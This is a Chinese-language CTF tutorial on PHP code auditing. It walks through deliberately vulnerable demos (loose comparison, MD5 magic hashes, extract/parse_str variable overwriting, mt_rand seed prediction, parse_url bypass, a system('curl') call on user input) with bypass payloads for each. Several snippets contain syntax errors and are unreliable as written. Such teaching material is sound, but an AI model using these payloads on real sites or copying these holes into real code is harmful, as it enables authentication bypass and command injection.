CTF 中的 PHP 代码审计
1 PHP 弱类型问题
1.1 原理
双等于号: 如果类型转换后 $a 等于 $b
三等于号: 全等于 True 如果 $a 等于 $b,并且它们的类型也相同
如果一个数值和一个字符串比较,那么会将字符串转换成数值
常见的比较结果:
'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
false == 0 == NULL == ''
NULL == false == 0
true == 1
1.2 实例
1.2.1 MD5 等 hash 函数相关题目
1.2.1.1 DEMO 1
Payload: url?param1=QNKCDZO¶m2=aabg7XSs
1.2.2.2 DEMO 2
Payload: url?param1[]=1¶m2[]=
1.2.2.3 DEMO 3
经过 String 强制类型转换后,当传入数组时,返回值为 Array fail,无法绕过,因此,采用 MD5 碰撞的形式。
工具:fastcoll
Payload:
1.2.2.4 DEMO 4
Payload: url?name[]=1&password[]=
1.2.2.5 DEMO 5 - MD5 与 SQL 注入的融合
Payload: url?password=ffifdyop
1.2.2 JSON 相关题目
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['message'])) {
$message = json_decode(_$POST['message']);
if($message->key == $key) {
echo $flag;
}
else {
echo "fail";
}
}
else {
echo "~~~~";
}
?>
原理:字符串 flag{xxx}
和数字 0
比较,结果为 True
Payload: url?message={"key":0}
1.2.3 SWITCH 相关题目
原理:如果 switch 是数字类型的 case 判断时,switch 会将其中的参数转换为 int 类型。switch 判断时为双等于类型
<?php
highlight_file(__FILE__);
$i = "3nanme";
switch ($i) {
case 0:
case 1:
case 2:
echo "this is two";
break;
case 3:
echo "flag";
break;
}
?>
1.2.4 STRCMP 相关题目
原理:利用 strcmp 中的参数为数组,返回值为 NULL,在非严格比较的情况下与 0 相等。
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['password'])) {
if(strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";
echo $flag;
exit();
} else {
echo "Wrong password..";
}
}
?>
Payload: url?password[]=
1.2.5 in_array 函数
<?php
highlight_file(__FILE__);
$array=[0, 1, 2, '3'];
var_dump(in_array('abc', $array));
var_dump(in_array('1bc', $array));
var_dump(in_array(3, $array));
返回结果为: true、true、true
1.2.6 array_search 函数
在数组中搜索给定的值,如果成功则返回首个相应的键名。
<?php
highlight_file(__FILE__);
$array=[0, 1, 2, '3'];
var_dump(array_search('abc', $array));
var_dump(array_search('1bc', $array));
var_dump(array_search(3, $array));
var_dump(array_search('3', $array));
返回结果为: 0、1、3、3
<?php
if (!is_array($_GET['test'])) {
exit();
}
$test = $_GET['test'];
for ($i = 0; $i < count($test); $i++) {
if ($test[$i] === "admin") {
echo "error";
exit();
}
$test[$i] = intval($test[$i]);
}
if (array_search("admin", $test) === 0) {
echo "flag";
} else {
echo "false";
}
Payload: url?test[0]=0
1.2.7 strpos 函数
<?php
var_dump(strpos('abcd', 'a'));
// int(0)
var_dump(strpos('abcd', 'a') == false);
// bool(true)
2 变量覆盖问题
2.1 extract 函数
demo:
<?php
highlight_file(__FILE__);
include "flag.php";
extract($_GET);
if(isset($gift)) {
$content = trim(file_get_contents($flag));
if($gift == $content) {
echo $trueflag;
}
else {
echo "Oh...";
}
}
?>
让 file_get_content() 返回值为空,即可绕过。
Payload: ?gift=&flag=
2.2 遍历初始化变量
由于 php 中可以使用 $ $ 声明变量,因此存在遍历数组时可能会覆盖原来的值
<?php
highlight_file(__FILE__);
$a = "helloworld";
echo $a;
echo "$a";
echo "<br />"
foreach($_GET as $key => $value) {
$$key = $value;
}
echo "$a";
?>
$key 与 $value 都可控,因此修改 $a 变量的点在代码第 8 行处,让 $key=a,$$key=$a,$value 为想要修改的值
Payload: url?a=afterChange
Demo:
<?php
highlight_file(__FILE__);
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if($_SERVER["REQUEST_METHOD"] != "POST") {
die("BugsBunnyCTF is here:p...");
}
if (!isset($_POST["flag"])) {
die($_403);
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
if($_POST["flag"] !== $flag) {
die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
Payload: url?_200=flag
+ post: flag=123
2.3 parse_str 函数
Demo:
<?php
include "flag.php";
if(empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include("flag.php");
$a = "www.OPENCTF.com";
$id = $_GET['id'];
@parse_str($id);
if($a[0] != "QNKCDZO" && md5($a[0]) == md5("QNKCDZO")) {
echo $flag;
} else {
exit("其实很简单并不难!");
}
}
?>
Payload: url?id=a[0]=s878926199a
技巧 由于 PHP 的变量名不能带「点」和「空格」,因此在 parase_str 函数中,他们会被转化成下划线。
<?php
$a = $_GET["a_a"];
echo $a;
当传入的参数名为: url?a.a=123
时,会被转化成 a_a
,因此可以正常输出内容
3 空白符相关
<?php
highlight_file(__FILE__);
include "flag.php";
$info = "";
$req = [];
ini_set("display_error", false);
error_report(0);
if(!isset($_GET["number"])) {
die("have a fun!");
}
foreach([$_GET, $_POST] as $global_var) {
foreach($global_var as key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) {
$info = "Sorry, you can not input a number!";
}
else if($req['number'] != strval(intval($req['number'])))
{
$info = "number must be equal to it\'s integer!!";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1 != $value2)
{
$info = "no, this is not a palindrome number";
}
else
{
if(is_palindrome_number($req["number"])) {
$info = "nice! {$value1} is a palindrome number!"
}
else {
$info = $flag;
}
}
}
echo $info;
?>
3.1 intval 函数
成功返回 var 的 interger 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1 最大的值取决于操作系统 32 位操作系统最大有符号整型范围是 -2147483648 到 2147483647 64 位系统上,最大有符号的整数的值为 9223372036854775807
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1000000000
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
3.2 浮点数精度
3.3 is_numeric 函数
当传入的字符串中含有空格 、 \t \r \n \v \f
等特殊符号,返回结果仍为 true
3.3 trim 函数
函数对比:
源码 | |
---|---|
trim | 去除\t\n\r\0\x0B |
is_numeric、intval | 跳过\t\n\r\f\v |
payload : ?number=%00%0c121
4 伪随机数相关
4.1 mt_rand 函数
如果我们自己指定范围,如果过小是很容易被爆破出来的,因此大多数实际应用中都是不指定范围,mt_rand() 函数默认范围是 0 到 mt_getrandmax() 之间的伪随机数
相同的种子生成的随机数是相同的,所以可以通过逆推 mt_rand 的种子来获得同页面的另一个 rand 的值
工具:php_mt_seed
4.2 DEMO
<?php
highlight_file(__FILE__);
include "flag.php";
error_reporting(0);
echo "please input a rand num!";
function create_password($pw_length = 4)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++) {
$randpwd .= mt_rand();
}
return $randpwd;
}
session_start();
// var_dump($_SESSION);
$time = time();
mt_srand($time);
$pwd = create_password();
// var_dump(($_SESSION['userLogin'] == $_GET['login']));
// echo $pwd . '||';
// echo $_GET['pwd'];
// var_dump($pwd == $_GET['pwd']);
if ($pwd == $_GET['pwd']) {
echo "first";
//NULL == NULL 即可绕过,即保持第一次登录
if ($_SESSION['userLogin'] == $_GET['login']) {
echo "Nice, you get the flag it is" . $flag;
}
} else {
echo "Wrong!";
}
$_SESSION['userLogin'] = create_password(32) . rand();
?>
Payload:
<?php
function create_password($pw_length=4) {
$randpwd = "";
for ($i=0; $i < $pw_length; $i++) {
$randpwd .= mt_rand();
}
return $randpwd;
}
mt_srand(time());
$pwd = create_password();
$url = "http://xxx/mt_rand.php?pwd=". $pwd;
system('curl'. $url);
echo $pwd;
?>
5 其它函数
5.1 运算符优先级
<?php
highlight_file(__FILE);
include "flag.php";
$a = 'test';
$b = 'test2';
$a = $_GET['a'];
$b = $_GET['b'];
// 运算符优先级,= 号 > and 号,即($c = is_numeric($a)) and is_numeric($b)
$c = is_numeric($a) and is_numeric($b);
if($c) {
if(is_numeric($a)) {
if(is_numeric($b)) {
echo "is_numeric(b)";
} else {
echo $flag;
}
} else {
echo "is_numeric(a) error";
}
} else {
print "is_numeric(a) and is_numeric(b) error !";
}
?>
payload: url?a=123
5.2 parase_url
如果指定了 component 参数, parse_url() 返回一个 string (或在指定为 PHP_URL_PORT 时返回一个 integer)而不是 array。如果 URL 中指定的组成部分不存在,将会返回 NULL。
Demo:
<?php
include "flag.php";
$number1 = rand(1, 100000000000000);
$number2 = rand(1, 100000000000);
$number3 = rand(1, 100000000);
$url = urldecode($_SERVER['REQUEST_URI']);
// 利用 http:/// 使得 parse_url 返回 false,绕过正则表达式。
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url)) {
die("..1");
}
if (preg_match("/0/i", $url)) {
die("..2");
}
if (preg_match("/\w+/i", $url)) {
die("..3");
}
if(isset($_GET['_']) && !empty($_GET['_'])) {
$control = $_GET['_'];
// in_array() 函数漏洞:var_dump(0 == "a") => true
if (!in_array($control, , array(0, $number1))) {
die("fail1");
}
if (!in_array($control, , array(0, $number2))) {
die("fail2");
}
if (!in_array($control, , array(0, $number3))) {
die("fail3");
}
echo $flag;
}
show_source(__FILE__);
?>
Payload: http:///url?_=a
或 http:///url?.=a
6 escapeshellarg 和 escapeshellcmd
6.1 相关函数
6.2 Demo
<?php
highlight_file(__FILE__);
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
// var_dump($_GET);
// echo '<br></br>';
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
var_dump($urlInfo);
// echo '<br></br>';
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
echo $url;
system("curl ".$url);
}
}
?>
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: Apache Spark 未授权访问漏洞
下一篇: 彻底找到 Tomcat 启动速度慢的元凶
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论